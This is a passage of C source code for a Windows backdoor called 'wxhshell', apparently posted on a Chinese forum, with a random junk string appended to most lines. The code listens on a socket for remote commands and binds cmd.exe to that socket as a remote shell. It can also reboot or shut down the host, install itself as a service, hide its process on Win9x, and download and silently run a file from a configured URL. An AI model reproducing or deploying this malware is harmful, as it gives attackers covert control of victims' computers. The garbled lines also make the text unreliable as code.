ttaQlEa=Z  
    switch(cmd[0]) { {|Ki^8h/p  
  S9R]Zl7{-  
  // 帮助 -I-Uh{)j  
  case '?': { W[E3P,XS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {Y91vXTz7  
    break; t*d >eK`:N  
  } &4Con%YU[  
  // 安装 ?[VpN2*  
  case 'i': { NOr <,  
    if(Install()) VS|( "**  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [W$Z60?RR  
    else ncattp   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /%YiZ#  
    break; [OZ=iz.  
    } rN1U.FRe/  
  // 卸载 - SS r  
  case 'r': { ~ sIGI?5f  
    if(Uninstall()) q^1aPz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "6N~2q,SW  
    else Ae j   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K- I\P6R`  
    break; D!}K)T1~R  
    } x}&a{;  
  // 显示 wxhshell 所在路径 ]hE +$sKd  
  case 'p': { .S!>9X,  
    char svExeFile[MAX_PATH]; 5m^Hi} S _  
    strcpy(svExeFile,"\n\r"); 4b2mtLn_  
      strcat(svExeFile,ExeFile); Mf:M3H%YV+  
        send(wsh,svExeFile,strlen(svExeFile),0); pAil]f6  
    break; sQ}%7BMK  
    } <s/<b*T ^  
  // 重启 d)0LVa(  
  case 'b': { (+UmUx=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LR3`=Z9  
    if(Boot(REBOOT)) ~#"7,rQp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )ojx_3j8  
    else { N xb\[  
    closesocket(wsh); h zZ-$IX X  
    ExitThread(0); 3X$Q,  
    } iog # ,  
    break; 8jggc#.  
    } 5, -pBep<  
  // 关机 1a&/Zlr  
  case 'd': { 5'X74`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K)/!&{7n}a  
    if(Boot(SHUTDOWN)) %e Sm&`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y98JiNq  
    else { i)7n c  
    closesocket(wsh); 7k[pvd|L  
    ExitThread(0); =!(*5\IM  
    } X_u@D;$  
    break; ;h9-}F  
    } r+{d!CHq}  
  // 获取shell %9T~8L @.  
  case 's': { SbS$(Gt#Bv  
    CmdShell(wsh); u3Usq=Ij{  
    closesocket(wsh); +_ *eu  
    ExitThread(0); x*me'?q  
    break; dU oWo3r=  
  } s]y-pZ  
  // 退出 4jX@m  
  case 'x': { &@YFje6Lcm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n .f4z<  
    CloseIt(wsh); B;z;vrrL  
    break; O`i)?BC  
    } X!o[RJY  
  // 离开 _BG8/"h32  
  case 'q': { %/l-A pu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'y4zBLY  
    closesocket(wsh); g.I(WJX0  
    WSACleanup(); )o#6-K+b  
    exit(1); /a[V!<"R  
    break; Aq V09 $  
        } sULIrYRA  
  } ;OOj[%.  
  } ^W Y8-6  
`FA) om  
  // 提示信息 >vWEUE[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U~uwm/h  
} i`[#W(m  
  } 5vD3K! \u  
J| SwQE~  
  return; 6OL41g'  
} YBX)eWslK  
(U|)xA]y!  
// shell模块句柄 XC|*A$x,  
int CmdShell(SOCKET sock) )v%l0_z{  
{ z,pNb%*O  
STARTUPINFO si; -#LjI.  
ZeroMemory(&si,sizeof(si)); X=v~^8M7%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5>k>L*5J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wgY6D!Y   
PROCESS_INFORMATION ProcessInfo; 9p <:=T  
char cmdline[]="cmd"; QVIcb ;&:}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A LXUaE.  
  return 0; Q  |  
} ,{k<JA {  
~?#~Ar  
// 自身启动模式 m</]D WJ  
int StartFromService(void) }>2t&+v+  
{ gaQ[3g  
typedef struct w{PUj  
{ A-Mj|V  
  DWORD ExitStatus; -Q6(+(7_|  
  DWORD PebBaseAddress; 9khjwt  
  DWORD AffinityMask; {!L=u/qs"  
  DWORD BasePriority; d9O:,DKf  
  ULONG UniqueProcessId; ]?[zx'|  
  ULONG InheritedFromUniqueProcessId; c$9sF@K?  
}   PROCESS_BASIC_INFORMATION; tcZa~3.  
& =G)NeT_  
PROCNTQSIP NtQueryInformationProcess; Te# ]Cn|  
%/51o6a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P{?;T5ap6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (~h7rAEc  
C1b*v&1{  
  HANDLE             hProcess; 9I85EcT^4"  
  PROCESS_BASIC_INFORMATION pbi; wHf&R3fg  
wb b*nL|P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KYp[Gs  
  if(NULL == hInst ) return 0; <PX.l%  
>?z:2@Q)B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H nK!aa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j !`B'{cH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xA92 C  
H ( vx/q  
  if (!NtQueryInformationProcess) return 0; C,fY.CeI  
Pb#P`L7OB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x|8^i6xB  
  if(!hProcess) return 0; .46#`4av  
vv+km+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }MP>]8Aq  
]Ko^G_Rm  
  CloseHandle(hProcess); )IHG6}<  
Nb0Ik/:<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O$^xkv5.  
if(hProcess==NULL) return 0; ~(P&g7u  
09'oz*v{#  
HMODULE hMod; 30s; }  
char procName[255]; D93gH1z  
unsigned long cbNeeded; =J](.78  
gljo;f:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vz{>cSz#  
O5zE {#  
  CloseHandle(hProcess); H(b)aw^(%  
jXixVNw  
if(strstr(procName,"services")) return 1; // 以服务启动 e?b)p5g  
5Q W}nRCZ  
  return 0; // 注册表启动 ZWS2q4/S  
} 802H$P^ps  
V C-d0E0  
// 主模块 =>qTNh*'  
int StartWxhshell(LPSTR lpCmdLine) A{N\)  
{ eNbpwne  
  SOCKET wsl; 2VA!&`I  
BOOL val=TRUE; [KSH~:h:NR  
  int port=0; )qv2)a!H  
  struct sockaddr_in door; Tg0CE60"  
QOH<]~3J  
  if(wscfg.ws_autoins) Install(); Ke!'gohv  
X3',vey  
port=atoi(lpCmdLine); dxK9:IX  
k=$AhT=e}n  
if(port<=0) port=wscfg.ws_port; 1yM r~Fo  
7VAJJv3  
  WSADATA data; b5<okICD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 22&;jpL'?  
lj4o#^lC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .1#kD M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iG#}`  
  door.sin_family = AF_INET; kJT+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i7w(S3a  
  door.sin_port = htons(port); zU&L.+   
{e"dm5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (5a1P;_Y  
closesocket(wsl); ,$N#Us(Wa  
return 1; -_em%o3XC  
} dEp7{jY1O  
2%]Z Kd  
  if(listen(wsl,2) == INVALID_SOCKET) { ^nNitF  
closesocket(wsl); T]9m:z X9s  
return 1; [ *>AN7W   
} [ c~kF+8  
  Wxhshell(wsl); uOd& XW  
  WSACleanup(); K\u_Ji]k  
=n+ \\D  
return 0; eTbg7"waA  
,6{iT,~@8  
} rS7)6h7(7  
v-Qmx-N  
// 以NT服务方式启动 wNYg$d0M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X!>eiYK)  
{ S\*`lJzPM  
DWORD   status = 0; E=$p^s  
  DWORD   specificError = 0xfffffff; %S \8.  
x`%JI=q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S\=1_LDx"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -1u9t4+`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .4-,_`T?  
  serviceStatus.dwWin32ExitCode     = 0; n}?wVfEy  
  serviceStatus.dwServiceSpecificExitCode = 0; q%i-`S]}qL  
  serviceStatus.dwCheckPoint       = 0;  }ptq )p  
  serviceStatus.dwWaitHint       = 0; a`!@+6yC  
^5; `-Ky  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2VoKr)  
  if (hServiceStatusHandle==0) return; _>yoX  
Uz dc  
status = GetLastError(); aG%, cQ1  
  if (status!=NO_ERROR) f-SuM% S_  
{ JSr$-C fH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qdf=XG5  
    serviceStatus.dwCheckPoint       = 0; S1S;F9F  
    serviceStatus.dwWaitHint       = 0; A/}W&bnluD  
    serviceStatus.dwWin32ExitCode     = status; yZ kyC'/  
    serviceStatus.dwServiceSpecificExitCode = specificError; y*23$fj(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k{I 01  
    return; . (}1%22  
  } /.z;\=;[n!  
i'#Gy,R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y3G `>  
  serviceStatus.dwCheckPoint       = 0; bZ1 78>J]  
  serviceStatus.dwWaitHint       = 0; yuhnYR\`m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~*W!mlg  
} SF*n1V3hx  
3W_PE+:Kr  
// 处理NT服务事件,比如:启动、停止 D5,P)[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j+-P :xvP  
{ ,Lr<)p  
switch(fdwControl) .6f%?oo  
{ S* *oA 6  
case SERVICE_CONTROL_STOP: / JkC+7H4  
  serviceStatus.dwWin32ExitCode = 0; >>{FzR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %9oYw9 H!  
  serviceStatus.dwCheckPoint   = 0; O1'm@ q)  
  serviceStatus.dwWaitHint     = 0; 2lVHZ\G  
  { "Wo,'8{v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NnT g3:.  
  } i0jBZW"_1$  
  return; C3NdE_E  
case SERVICE_CONTROL_PAUSE: \ZU1J b1c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; umi5Wb<  
  break; s?R2B)a  
case SERVICE_CONTROL_CONTINUE: u8GMUN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kOo~%kcQ'  
  break; `n5"0QRd  
case SERVICE_CONTROL_INTERROGATE: @&|l^ 1  
  break; *+)AqKP\Kv  
}; XolZonJr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f"1>bW>R+  
} *3/T;x.  
?';OD3-  
// 标准应用程序主函数 )Gw~XtB2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mtz#}qD66  
{ PjA6Ji;Hu  
*^%Q0mU[  
// 获取操作系统版本 I/gjenUK  
OsIsNt=GetOsVer();  -!W<DJ*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )B,|@ynu  
a2Pf/D]n  
  // 从命令行安装 ,JU@|`  
  if(strpbrk(lpCmdLine,"iI")) Install(); G)v #+4  
W6H,6v  
  // 下载执行文件 l<0}l^C.  
if(wscfg.ws_downexe) { ,<BbpIQ2o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^sN (  
  WinExec(wscfg.ws_filenam,SW_HIDE); p~ HW5\4  
} W"^wnGa@a  
. 8N.l^0,  
if(!OsIsNt) { FIxFnh3~  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]I3!fEAWR  
HideProc(); ,C%eBna4Iq  
StartWxhshell(lpCmdLine); EI!6MC)  
} Um#Wu]i  
else PxH72hBS  
  if(StartFromService()) D?XM,l+  
  // 以服务方式启动 J Ro?s~Ih  
  StartServiceCtrlDispatcher(DispatchTable); B#/Q'V  
else ;4N;D  
  // 普通方式启动 >h0-;  
  StartWxhshell(lpCmdLine); M9zfT !-  
J+d1&Tw&  
return 0; ok|qyN+  
}
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只看该作者 1 发表于: 2006-10-10
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